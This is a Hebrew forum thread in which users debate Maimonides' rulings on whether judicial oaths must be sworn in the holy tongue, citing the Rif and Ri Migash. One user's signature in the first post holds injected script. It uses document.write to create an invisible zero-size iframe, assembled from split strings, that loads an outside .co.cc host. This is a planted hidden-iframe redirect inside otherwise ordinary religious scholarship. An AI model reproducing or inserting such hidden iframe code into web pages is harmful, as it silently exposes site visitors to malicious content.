בית פורומים עצור כאן חושבים

שבועות, לשון הקודש - והרמבם (לדרום חוקר)

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-15/1/2018 16:15 לינק ישיר 

תודה לכל המגיבים

בוודאי ראוי, כדי להבין את הרמב"ם, לעיין במקורות, ולעיין בפרשנויות.

ויש לי או לכולנו מיגבלה נוספת: מיעוט הזמן ואי זמינות המקורות. לא לכולם יש פרוייקט השו"ת.

לקמן אבקש להציע קריאה נוספת של הרמב"ם לפי הגרסה המדוייקת. אבל קודם לכן יש לי שאלה/השגה על דברי דרום חוקר. וזאת עם כל ההערכה לידיעותיו ויכולותיו. וזו הערה מתודולוגית.

דרום חוקר כתב:

כאשר כתב הרמב"ם את משנה תורה, הוא כבל את עצמו [קבע את שיטת העבודה המנחה אותו] להעתיק רק מימרות מהמקורות, מהתלמודים והתוספתא ומדרשי ההלכה,

אני מסכים שהרמב"ם קבע לעצמו את שיטת הכתיבה שלו. אני מסכים שהוא העתיק את הנידונים שמופיעים במקורות שאותם רצה לפסוק (או שאותם לא היתה לו ברירה אלא לפסוק). אבל איני מסכים שהוא השתמש אך ורק בלשון המקורות. לכל הפחות ידוע לנו שהרמב"ם, למשל, מעתיק לשון של מאן דאמר (=בעל דעה) אחד כדי לבאר פסק שנאמר אליבא (=בשיטת) מאן דאמר אחר.


ואילו את הפרשנות הוא הניח לקורא.

איני סבור כמוך שהרמב"ם רצה שהקורא יעסוק בפרשנות. לדעתי הרמב"ם התכוון שדבריו יהיו מובנים. אולי לא לקורא שטחי אבל בהחלט לקורא שאינו עומד בדרגה של מי שמסוגל לקרוא את מורה נבוכים. הוא הועיד את דבריו לתלמידי חכמים וגם לקוראים יותר מתחילים. הרי הוא עצמו מצהיר שכוונתו שהלומד ילמד את התורה (והתנ"ך) ואחר כך ילמד את ספרו ודי בזה כדי לדעת את המסקנות העולות מן התלמוד. זו אמנם תקוה שקשה (לי לפחות) להבין אותה. אבל כך מצהיר הרמב"ם. ואם הקורא והלומד יזדקקו למאמצים פרשניים, אזי דומה שהמטרה לא מושגת.

דורות על גבי דורות עמלו בביאור מימרות התלמוד, והרמב"ם דילג על כל זאת, וכתב את המימרה ותו לא. כאילו אומר הרמב"ם לקורא, תהיה רש"י ותפרש אותי.

כאמור, אני מבין אחרת ממך את כוונת הרמב"ם. לדעתי, הרמב"ם היה בטוח כי ניתן לקרוא את דבריו ולהבין את התוכן, האירוע, הדין והנימוק והסברה, רק מתוך דבריו.

בזה הרמב"ם בהחלט היה אופטימי מדי. ולא רק בגלל שהקורא נאלץ להסיר קודם כל את המסך של הנחות יסוד פרשניות אחרות שאולי מוכרות לו ממקום אחר - כמונו, שאנו מורגלים קודם כל ללמוד את התלמוד לפי רש"י. הרמב"ם חוששני נכשל בכשלון של אנשים חכמים. הם אינם מבינים כמה טפשים הטפשים יכולים להיות.

לפיכך

הרמב"ם כתב מה שכתב מפני שסבר שקריאה רצופה בפרק תלמד את ההלכות הדרושות. וכך עלינו לקרוא את הפרק ואת הרצף.


__תוקן כדי להוסיף הדגשה לציטוט מדרום חוקר_______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 15/01/2018 16:17:17




דדווח על תוכן פוגעני

מנותק
נשלח ב-15/1/2018 16:41 לינק ישיר 

והנה ההצעה לקריאה נוספת ברמב"ם, אם כי דומני שכבר הציעו אותה לעיל. מסתבר שזו הצעתו של שמח-בחור ויתכן שגם אליקים כיוון לזה? צריך לקרוא היטב את דברי כולם כאן, וזה מאמץ - גם בגלל שצריך לקרוא את דברי הרמב"ם בסעיפים השונים, את הפירושים, ואז להכניס אותם בלשון הרמב"ם ולבדוק יתרונות וחסרונות של כל פירוש.

לפני הקריאה, נבדוק מה יש לנו.

א. שבועת הדיינין. יש שבועות שונות שיכולות להיכלל תחת השם הזה, אבל אתעלם בהמשך מסוגי השבועות ואציע את קריאתי כאילו כולן בכלל, ואין הסעיפים הסותרים או הסותרים לכאורה מדברים בשבועות שונות.

ב. נשבעים. כפי שציין דרום חוקר, יש כמה סוגי נשבעים. יש נשבעים שמבינים את לשון הקודש ויש שלא. סוגי נשבעים כאלו קיימים לא רק בימי הרמב"ם אלא היו כאלו גם בימי חז"ל וכך אנו שומעים על אלו שמגיעים למקרא ביכורים אבל אינם יודעים לקרוא את הטקסט (או שאינם יודעים אותו על פה או שאינם מבינים אותו?)

כפי שיש סוגי נשבעים ורמות של היכרות עם השפה כך יש לנו זמנים ומקומות. כלומר עם ישראל בארצו של ימי התנאים, עם ישראל בגלות בבל של ימי האמוראים, ועם ישראל של הימים שלאחר התלמוד, וזה כולל יהודים בספרד של הר"י מיגאש, בצפון אפריקה של הרמב"ם עצמו לאחר מכן, ושל מצרים שבה מצא הרמב"ם משכן.

ג. לפנינו הלכה שבה הרמב"ם מתייחס לבעייתיות שנוצרת לאחר חתימת התלמוד ומתייחס לדעות שמובאות לאחר ימי התלמוד. זו תופעה לא מצויה שהרמב"ם יתייחס לפירושים שלאחר התלמוד. זה קיים, אבל לא מצוי הרבה.

בעוד הרמב"ם מביא את רוב ההלכות שלו "סתם" בלי לייחסן, כאן יש כמה מחברים ופוסקים להתייחס אליהם:

סתמא של הרמב"ם
"הורו רבותי" (הלכה ח לפי הגרסה הלא מדוייקת)
הורו הגאונים (הלכה יד)
רבותינו הורו (שם)
נהגו בכל בתי דינין (שם)
נהגו העם (שם)

לאחר שסקרנו את הפרמטרים השונים שלפיהם יש לפרש את דברי הרמב"ם, אנו רואים שכל קריאה בדברי הרמב"ם צריכה לענות על השאלות הבאות:

מה היא ידיעת השפה של הנשבע?
לפי מי נאמר הדין שמביא הרמב"ם?
(וכמובן, אם זה לכתחילה או דיעבד אבל דומה שאפשר להסתדר בלי הפרמטר הזה)

עכשו אני מציע את הקריאה שלי (אפשר גם לסדר בטבלה את הקריאות השונות לכל חלק לפי השאלות והפרמטרים כדי לבדוק מה מציע כל אחד אצלנו ומה אמרו הפרשנים)

הלכה ח

ושבועת הדיינין ...  והורו רבותי שאין משביעין שבועת הדיינין אלא בלשון הקדש. - גרסת הדפוס

ושבועת הדיינין ...  שאין משביעין שבועת הדיינין אלא בלשון הקדש.- הגרסה המדוייקת.

לפי גרסת הדפוסים הקטע כאן הוא מדברי רבותיו של הרמב"ם. לפי הגרסה המדוייקת אלו דברי עצמו. סתמא של הרמב"ם.

הלכה יד

הדיינין שהשביעו את הנשבע בכל לשון שהוא מכיר הרי זו כמצותה - סתמא דהרמב"ם

וכן הורו הגאונים - דברי הגאונים

אבל רבותינו הורו שאין משביעים אלא בלשון הקדש, - דברי רבותיו של הרמב"ם

ואין ראוי לסמוך על הוראה זו, - מאן תנא? מי אמר את הדברים האלו? האם זה סתמא של הרמב"ם כפי שמציעים כאן לקרוא?

הקושי שלנו הוא שהרמב"ם חולק על רבותיו ולכן על עצמו בהלכה ח.

פתרון אפשרי: אלו אינם דברי הרמב"ם אלא המשך דברי רבותיו.

המילים "הוראה זו" אינם מתייחסים לדברי רבותיו של הרמב"ם אלא לדברי הגאונים שמופיעים קודם לזה(כפי שהציע שמח-בחור)..

המסקנות ההלכתיות אינן משתנות. מכאן ואילך אפשר לקרוא כפי שהוצע לעיל. הרמב"ם סבור שיש לנהוג כרבותיו, אבל הוא יודע שלא ישמעו לו וימשיכו במנהגם, ולכן הוא תובע שלפחות יסבירו לנשבע את תוכן השבועה.


ואף על פי שנהגו בכל בתי דינין להשבע בלשון הקדש צריך להודיע את הנשבע עד שיהא מכיר לשון השבועה, -
זה סתמא של הרמב"ם כפשרה בין דעת רבותיו שהיא דעתו (כמו הלכה ח) לבין המציאות העגומה...

אילו עמדו לרשות הרמב"ם כלי הפיסוק של ימינו, היה יכול לעטוף את הקטע

רבותינו הורו ש

"אין משביעים אלא בלשון הקדש, ואין ראוי לסמוך על הוראה זו"

במרכאות מכאן ומכאן, כדי להראות שהכל דיבור אחד.

כמדומה שקריאה זו מותירה את הפירוש הלכה למעשה בדברי הרמב"ם לפי המוסכם. כלומר, אם משביעים בלשון הקודש, אז לפחות יש ליידע את הנשבע מה הוא הולך לומר. אבל הקריאה הזו משנה את תוכן הקטע הבעייתי ומאפשרת קריאה רצופה וברורה - הכל כפי שהרמב"ם רצה שיבינו אותו וכפי שביאר גם דרום חוקר.

יש כאן יתרון בקריאה זו שלי. סבורני שהיא מהווה קריאה ישירה שהקורא עשוי לקרוא אותה מייד בפעם הראשונה בלי לטעות בה. וזאת בניגוד לטענת דרום חוקר שצריך מאמץ אינטלקטואלי והכרת המקורות כדי להבין את הרמב"ם. אני סבור שהרמב"ם רצה שיקראו אותו בלי להזדקק למקורות, ואכן הקריאה שהצעתי עונה על העקרון הזה שהציב הרמב"ם.

תמו דברי. מחכה לתגובותיכם.



דדווח על תוכן פוגעני

מנותק
נשלח ב-15/1/2018 16:42 לינק ישיר 

מיימוני

זה נכתב באירוניה, בעוקצנות. ודאי שהרמב"ם חשב שיבינו אותו, ולא יצטרכו לספר אחר בעולם, אולם מבחינה מציאותית דבר זה לא קרה. ואדרבה ההלכה שעליה אנו דנים תוכיח, מפני שאם דברי הרמב"ם ברורים מאוד, לשם מה צריך לפרשו, והרי הוא כתב הכל ברור ופשוט.

ויש עוד הרבה דוגמאות, כמו שהפננו אליהם, ויש עוד חבילות של דוגמאות שדברי הרמב"ם כלל אינם פשוטים וברורים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 16:53 לינק ישיר 

מסכים לגמרי להודעה הראשונה המתודולוגית של מיימוני בעמוד הזה. לגבי השימוש המדויק במקורות, הרי שבדיוק בבעיה שלנו הרמב"ם לא מעתיק מקורות, כך שההסתמכות על הטענה הזו כבר לחלוטין לא הגיונית.
אני מסכים עם הטענה שהתירוץ של שמחבחור ומיימוני הוא דחוק בלשון (הטענה המשתמעת כאילו לרמב"ם הייתה בעיה להביע את עצמו במדויק בגלל מחסור בסימני פיסוק אינה מחזיקה מים. הוא היה יכול להחליף את המילים 'הוראה זו' ב'הוראת הגאונים'. בכלל, כשלא היו סימני פיסוק הכותבים ידעו בד"כ לכתוב מצוין בלעדיהם, ויש אפילו ספרון מודרני שמתנגד לסימני הפיסוק ונותן טריקים כיצד לכתוב בלעדיהם), אבל קושי לשוני עדיף בהרבה על אוקימתא ללא כל רמז.



דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 17:00 לינק ישיר 

מיימוני

הגאונים היו קדומים (הרי"ף), ורבותיו של הרמב"ם היו דור לפניו (הר"י מיגש), ואיך הגאונים יכולים להתייחס לרבותיו של הרמב"ם, ולומר להם, ואין ראוי לסמוך על הוראה זו, מכאן שאלו דברי הרמב"ם.

כפי שכתב שמח בחור, והרי הלכה יד' עוסקת שהוא מבין גם לשון הקודש, וגם שאר לשונות, והדיון הוא איזו שפה צריך להשביעו, כיוון שכן מה יועיל שיודיע אותו עניין השבועה, והרי הוא מבין, ומשפט זה הוא ללא קשר וללא פשר.

על כורחך, דברי דרום חוקר שהלכה זו עוסקת שאינו מבין, אינם אוקימתא, הם כתובים בפירוש ברמב"ם (צריך רק לעיין היטב), שצריך להודיעו עניין השבועה, מכאן שהלכה זו עוסקת שאינו מבין כלל לשון הקודש, מכאן שהלכה ח' עוסקת שהוא כן מבין.

לביאורך, מדוע הרמב"ם מתאונן שנהגו כרבותיו להשביע בלשון הקודש, והרי כך היא ההלכה, וכך סובר הרמב"ם. נמצא שלשון ההלכה הוא ללא פשר, "אף על פי שנהגו בכל בתי דינין להשבע בלשון הקדש צריך להודיע ..." לא צריך להודיע לאף אחד כלום, הרמב"ם היה צריך לכתוב "וכן נהגו בכל בתי הדין, וכך ראוי לילך". ותו לא מידי




דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 17:06 לינק ישיר 

דרום חוקר

יש להעיר גם על שימוש הלשון "הגאונים" וגם על האופן שפירשת את דברי. כנראה לא ביארתי יפה למרות שהתאמצתי.

עד כמה שידוע לי:

הגאונים - הם אלו שנקראים אצלנו "גאונים", כלומר מאחר ימי האמוראים (והסבוראים), ראשי הישיבות של בבל.

הרי"ף אינו נקרא אצלו "גאונים" וכמדומה שהוא עצמו כותב באיזה מקום (אגרות?) שהיה לו לתקן את מה שפסק בפירוש המשנה כי נגרר אחרי הרי"ף שנגרר בתורו אחרי הגאונים. כלומר אלו שתי שכבות של פירוש ופסק.

לא באתי לומר שהציטוט של "אין ראוי להסתמך על הלכה זו" הם דברי הגאונים. מה פתאום. אלו הם המשך דברי רבותיו של הרמב"ם. אולי הר"י מיגאש, אולי הרי"ף. (אם הם לא סברו מה שאני מייחס להם כאן אליבא דהרמב"ם כי אז דברי שגויים מכל וכל. לא בדקתי!)

ושוב:

במקרה של דרום חוקר שנוצר עקב הגלויות:

בהלכה ח - מי שיודע לשון הקודש אבל גם מדבר בשפת המקום, כמו ארץ ישראלי בימי חז"ל שדיבר עברית וארמית - נשבע רק בלשון הקודש.

בהלכה יד - מי שאינו בקיא בלשון הקודש

לפי הגאונים משביעים אותו בשפה המדינה.
לפי רבותיו של הרמב"ם אין לעשות זאת. ולא עוד אלא שאין לסמוך על הוראת הגאונים.
המשך הדברים הוא סתמא של הרמב"ם, פשרה עם המציאות העגומה, להשביע בלשון הקודש אבל להסביר למה הכוונה במילים וכו' וכו'.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-15/1/2018 17:19 לינק ישיר 




דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 17:58 לינק ישיר 

תודה.

חוששני שאיני יכול לעיין בדברים כפי הראוי להם. ראיתי בדבריו רק שיש מחלוקת בין הרי"ף לבין הר"י מיגאש, וצריך לבחון מי מהם נקרא אצל הרמב"ם "רבותיו".

יהיה זה שטר חוב עלי, לצערי. שאשתדל לפרעו. אבל האם זה יקח שבע שנים עד שנחזור לסוגיות אלו?

סליחה שאיני יכול לבדוק את הסברי לאור המקורות שאתה ו-מ הבאתם.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-15/1/2018 18:15 לינק ישיר 

אף שהדבר לא קשור לאשכול (ועלה רק אגב אי הבנה של דרום חוקר את מיימוני) למיטב זיכרוני 'גאונים' ברמב"ם הם כל החכמים מאז ימי התלמוד.
טענתו של דרום חוקר שאין כאן אוקימתא אין בה ממש ואף לא טעם. גם אם הסיפא של הי"ד הייתה עוסקת במי שאינו לשה"ק. אין שום סיבה שזה ישלי על הרישא. וגם אם היה אפשר להשליך על הרישא הרי שהעמדת ה"ח במי שיודע היא אוקימתא גמורה ללא צל של רמז. להפך - מי שקורא את הלכות ח-יד רואה שבה"ח יש כלל המפורש בהלכות ט-יד. אם כך, ברור שאי אפשר להבדיל בין ה"ח להי"ד.
אמנם יש לדייק - הסיפא כלל לא עוסקת בנשבע, היא עוסקת בבתי הדין שעליהם להבהיר לבעל הדין על מה הוא נשבע. מדובר על כל בעל דין, ואין בית הדין יודע באילו לשונות בקי בעל הדין ובאילו אינו בקי. בית הדין צריך לוודא שבעל הדין מבין על מה הוא נשבע, בין אם זה אמצעות בתרגום ובין אם זה באמצעות מבחן בלשה"ק.



דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 18:17 לינק ישיר 

מיימוני
אני אשמח להבהרה למה התכוונת בדידקטיקה והאם באמת אתה רואה את הפורום כמקום שבו אתה מלמד את התלמידים החפצים בכך.



דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 20:40 לינק ישיר 

יש היקר

אולי צריך לשאול את השאלה השניה באשכול אחר. למשל על מטרותי בפורום. היה אפילו אשכול עתיק מאד "שאלות למיימוני" או משהו כזה והיה כזה אפילו בבחח...

בכל אופן, לשתי שאלותיך:

א. התכוונתי לרמוז לבדיחה המפורסמת שאם רוצים למצוא נושא טוב לשיעור בישיבה/בבית מדרש/שיעור תורני וכיו"ב, זה כדאי למצוא סתירה או "סתירה" ברמב"ם. זאת למרות שהסתירות לא תמיד אמיתיות. ואילו הפעם, יש כאן סתירה של ממש.

ב. מה אני מבקש לעשות כאן בפורום? הרבה דברים. חלק מהם - להפיץ את מחשבותי על היהדות/תורה/הלכה והיחס בין אלו לבין המדע/הפילוסופיה ועוד.

האם אני רואה את הפורום כמקום בו אלמד מי שיחפוץ? אני כן מוכן ללמד כל מי שיחפוץ ללמוד מה שיש לי ללמד (אני משער שיש לי מה להציע). מצד שני, בתוך דבריך אני שומע כעין הסתייגות, שאם אענה, "כן, אני מאד רוצה ללמד" אז זה מעמיד אותי ביחס מתנשא כלפי כל חברינו. וזו וודאי לא כוונתי.

אז אם תרצה תשובה שהיא כן או לא בלבד, איני יכול לספק כזו. זה תלוי באיפיון נוסף של השאלה. האם אני חושב שאני חכם יותר מאחרים? האם אני חושב שאחרים צריכים להקשיב לי וללמוד ממני? האם אני בא לכאן כדי לכפות את דעותי על אחרים? - לא.

האם אני בא לכאן כדי לנהל דיון ולבדוק דברים? כן. האם אני בא לכאן כדי להציג רעיונות שחשבתי עליהם כדי לקבל היזון חוזר או כדי להציע בפני אחרים את מחשבותי בתקוה שזה יועיל להם - יפתור להם שאלה, יראה להם דרך התמודדות ובדיקה, יחסוך להם ייסורים של מי שחש נקרע בין דתו לדעתו, יכוון להם מראה מול תופעות שכדאי לבחון כי אולי הן מעיקות ומבוססות על תפיסות שגויות, יעניק להם כלים לניתוח, או יכולות פילוסופיות, או תורניות שלא מוכרות בהכרח - אז כן, אני מקוה שכן.

האם אני סבור שאני יודע הכל יותר מאחרים ולכן יש לי רק מה לומר ואין לי מה לשמוע? - ממש לא. עם כל חסרונותי, אני מקוה שמכך אני נקי ובוודאי שאני משתדל להיות נקי מזה.

משנה ו
 רבי יוסי ...  רבי ישמעאל בנו ... הוא היה אומר: אל תאמר קבלו דעתי שהן רשאין ולא אתה:

(משנה מסכת אבות פרק ד)

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-15/1/2018 21:39 לינק ישיר 

דרום חוקר (וכולם)

כתבתי לעיל שנראה שרבותיו של הרמב"ם חלקו על הגאונים שאמרו כי מי שאינו מבין לשון הקודש, יישבע בשפה שהוא מבין. והם, לפי הקריאה שלי המוצעת ברמב"ם הלכה יד, כתבו שאין ראוי לסמוך על הפסק הזה של הגאונים.

והודיתי כי יש לבדוק אם אכן רבותיו של הרמב"ם - הרי"ף והר"י מיגאש כנראה - באמת החזיקו בעמדות אלו לגבי שבועת הדיינין, כלומר שהיא בלשון הקודש לכתחילה ובדיעבד גם אצל מי שאינו יודע לשון הקודש.

שלחת אותי להעזר במה שכתבת מ80. והתנצלתי שאין לי זמן לזה.

אבל לא התאפקתי והלכתי לחפש.

קודם כל לענין הלח"מ (=הלחם משנה, ממפרשי הרמב"ם ומעייניו, ידוע בדייקנותו ובשיחזור מהלכים משוערים שמציעים הסבר למקורות הקדומים). ממה שבדקתי, הוא עוסק באפשרות לייחס ל"רבותיו" של הרמב"ם מהלך שנזכר בתוס'. השאלה אינה איך הם למדו את המקורות - זו שאלה מסדר שני או שלישי - אלא מה הם פסקו. האם דבריהם הולמים את מה שסברתי לייחס להם ולא מנין למדו זאת.

כמה טוב שיש פרוייקט השות

ת"ר שבועת הדיינין אף היא בלשונה נאמרה פי' בכל לשון.

(
רי"ף מסכת שבועות דף יח עמוד א)

 

הרי שהרי"ף פוסק ששבועת הדיינין בכל לשון.

 

אבל הר"י מיגאש מספק את הנתון שחיפשנו, ומחייב שבועה דווקא בלשון הקודש. ולמעשה, זה מה שהביא מ80 לעיל (ותשואות חן חן לו).

 

נקטינן השתא דדיינא דאשתבע בשבועת האלה שבועה היא ודאשתבע בה' אלהי ישראל נמי שבוע' היא ובכולהו צריך לאנקוטי חפצא בידו ולמיהוי מעומד כדאמרינן שבועה מעומד ולמיהוי בלשון הקדש כדאמרינן שבועת הדיינים אף היא בלשונה נאמרה אלא מיהו הני מילי בשבוע' עצמה אבל כשמסר הכפירה או הטענה להשביעו עליה לא איצטריך לסדרה בלשון הקדש אלא מסדרה בלשון חול ומוציא השבועה עליה בלשון הקדש.

 

 

(ר"י מיגאש מסכת שבועות דף לח עמוד ב)

 

הסיפא של "כשמסר" אינה ברורה לי אבל זה לא ממש משנה. כי גם שם צריך לומר את השבועה בלשון הקודש.

 

ואם כן למדנו שאכן רבו דרבו של הרמב"ם, הר"י מיגאש שעליו כתב ש"מבעית לב כל איש בעיונו" (מצוטט מהזכרון) הוא מחייב להישבע דווקא בלשון הקודש, וכנראה אליו מתייחס הרמב"ם בלשון "רבותי". (ומה שזה בלשון רבים אפשר שזה דרך כבוד, וכן מצאנו אצל המאירי שרגיל להתייחס לקודמיו בלשון רבים גם כשהם יחיד, כגון "גדולי המחברים" לרמב"ם).

 




דדווח על תוכן פוגעני

מנותק
נשלח ב-15/1/2018 22:25 לינק ישיר 

ברצוני להעיר
על המשך דברי הרמב"ם שכתב ואע"פ שנהגו בכל הבתים דינים להשביע בלשון הקודש וכו' (לא ציטוט מדוייק)

ובתחילה תמהתי מאוד כי מדוע זה שנהגו להשביע בלשון הקודש היה סיבה שנחשוב שאין צריך שיבין, ולפי ההבנה הפשוטה כוונתו שגם בלשון הקודש צריך שיבין אבל אם כן היה לו לומר אפילו כשמשביע בלשון הקודש צריך שיבין, ומה קשור כאן מה שנהגו

אולם אם נפרש כפי שטענו כמה מהחברים שכונת הרמב"ם שאין ראוי לסמוך על רבותיו, וגם נניח (וזה לא משמע כל כך ברמב"ם) שלדעת רבותיו אין צריך שיבין וגם נניח שלדעת הגאונים אין מעלה ללשון הקודש וגם כשמשביע בה צריך שיבין, יבוארו דברי הרמב"ם באר היטב שכוונתו שאע"פ שנהגו להשביע בלשון הקודש אין זה משום שסוברים כרבותיו ואם כן ההלכה כרבותיו שהרי כך נהגו אלא למעלה בעלמא עושים כן ולכן צריך שיבין והכל המשך למה שכתב ואין ראוי לסמוך (וכפי שביאר אליקים שלסמוך היינו שאין צריך שיבין)


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 22:34 לינק ישיר 

דרום חוקר כתב
ויש עוד חבילות של דוגמאות שדברי הרמב"ם כלל אינם פשוטים וברורים
עד כאן דבריו

מכמה שאני עסקתי ברמב"ם אני חושב שדבריו כמעט תמיד ברורים (מה שלא שולל את האפשרות שיש צורך לעמול כדי להבין כמו שעשינו באשכול זה אולם לבסוף הם צריכים להיות ברורים ובהירים בלי אוקימתות וכיו"ב)

ואם אנכי לא עסקתי רבות כל כך מכל מקום גם המהרי"ק כתב כן (למרות שאולי באותה מידה הייתי יכול להסתייע מדברי הרמב"ם עצמו אבל עדיין אני חושב שלפעמים הכותב עצמו חושב שזה פשוט ולאחרים זה לא מובן ולכן אני מסתייע מהמהרי"ק ובעיקר מהחוויה האישית שלי)

אעלה צילום של דברי המהרי"ק בהמשך


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-15/1/2018 23:55 לינק ישיר 

שמח בחור

מאחר ומדבריך נשמע שמהרי"ק הוא מורך ורבך, ולדעתך ההלכות של הרמב"ם פשוטות וקלות, ואתה מתכוון להעלות צילום המוכיח זאת, ננסה לבאר את ההלכות על פי דעתך.

הלכה ח': "... ואין משביעין שבועת הדיינין, אלא בלשון הקודש". שבועת הדיינים בלשון הקודש דווקא. על הלכה זו כתבו מהרי"ק והכס"מ שהרמב"ם אינו סובר כמותה, ולביאור הלכה זו יש לעיין בהלכה יד'. אכן לשיטת פרשנות זו דברי הרמב"ם קלים להבנה, פשוט מוחקים אותם, כי לא התכוון ברצינות לדבריו, שצריך להשביע בלשון הקודש.

הלכה יד': "הדיינין שהשביעו את הנשבע בכל לשון שהוא מכירה, הרי זו כמצותה; וכן הורו הגאונים". שים לב, הרמב"ם פותח הלכה זו בהוראת עצמו, הדיין שהשביע בכל לשון, הרי זו כמצוותה, כמו הרמב"ם, גם הגאונים (הרי"ף) כך סברו. מאחר ומחקנו את הלכה ח', הרי שאין להקשות מהלכה ח', כי היא לא קיימת. וראה בהמשך ההלכה, שהרמב"ם יביא את דברי רבותיו, שאין לסמוך על הוראה זו (כך פירשת). אמור מעתה, הרמב"ם מסגנן הלכה על דעת עצמו, שיש להשביע בכל לשון, וגם מביא סיוע לדבר מהגאונים, אולם בהמשך הוא יסתור את עצמו, ואת הגאונים, מרבותיו, אין לסמוך על הרמב"ם ועל הגאונים, כך אמרו רבותיו של הרמב"ם.

"אבל רבותיי הורו, שאין משביעין אלא בלשון הקודש; ואין ראוי לסמוך על הוריה זו". משפט זה פירשת כך, גם רבותיו של הרמב"ם וגם הגאונים, עוסקים שיודע גם עברית וגם עוד שפות, הגאונים אמרו ישבע בכל שפה שמכיר, רבותיו של הרמב"ם אמרו ישבע בלשון הקודש דוקא. ואין לסמוך על הוראה זו, כלומר רבותיו של הרמב"ם אמרו, שאין לסמוך על הגאונים. וכבר ביארנו, שהרמב"ם פתח את ההלכה בדעת עצמו, שיש להשביעו בכל לשון שמכיר, וגם הגאונים כך הורו. אולם הרמב"ם בצחות לשונו החליט לכתוב, דע לך, מה שכתבתי בתחילת ההלכה, ומה שהורו הגאונים, לדעת רבותי, אין לסמוך עליו. אכן סגנון ראוי, לכתוב דעה, ואח"כ לכתוב שרבותי חולקים עלי.

 "ואף על פי שנהגו כל בתי דינין להשביע בלשון הקודש - צריך להודיע את הנשבע, עד שיהיה מכיר לשון השבועה: ששבועת הדיינין, היא שבועת הפיקדון בעצמה". משפט זה פירשת כך, אע"פ שבתי הדין משביעים בלשון הקודש, אין מנהג זה בגלל שבתי הדין סוברים כרבותי, אלא סתם כך, כי בתי הדין החליטו לייחס חשיבות ללשון הקודש. ומאחר ודעת הרמב"ם עד עתה לא נתבררה, כי כתב שאפשר להשביע בכל לשון, וגם כתב שרבותיו דחו דעה זו, וצריך להשביע דוקא בלשון הקודש. לפיכך בא הרמב"ם וביאר את דעתו, יש להשביע בלשון הקודש, ויש לבאר לנשבע מה הוא אומר.

ואם ישאל השואל, למה צריך לבאר לנשבע מה הוא אומר, והרי עד עכשיו ביארנו שכולם עוסקים שיודע גם עברית וגם שפה אחרת, ונחלקו, לפי הגאונים ישבע בכל לשון, ולפי רבותיו של הרמב"ם ישבע בלשון הקודש. ישיב הרמב"ם, אכן כן, באמת כשיודע גם עברית וגם עוד שפה לא צריך להסביר לו כלום, אולם אני בא לחדש עוד הלכה, שאם אינו יודע עברית, יש להשביעו בעברית, ולבאר לו מה הוא אומר.

אמור מעתה, רבותיו של הרמב"ם אמרו, כשיודע גם עברית וגם עוד שפה, ישבע בעברית, אבל הרמב"ם אומר, כשאינו יודע עברית, ישבע בעברית, ויסבירו לו מה הוא אומר.

מה דעתך, האם כך למדו רמב"ם בבית המדרש של מהרי"ק.



תוקן על ידי דרום_חוקר ב- 16/01/2018 00:29:24




דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > שבועות, לשון הקודש - והרמבם (לדרום חוקר)
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 לדף הבא סך הכל 3 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.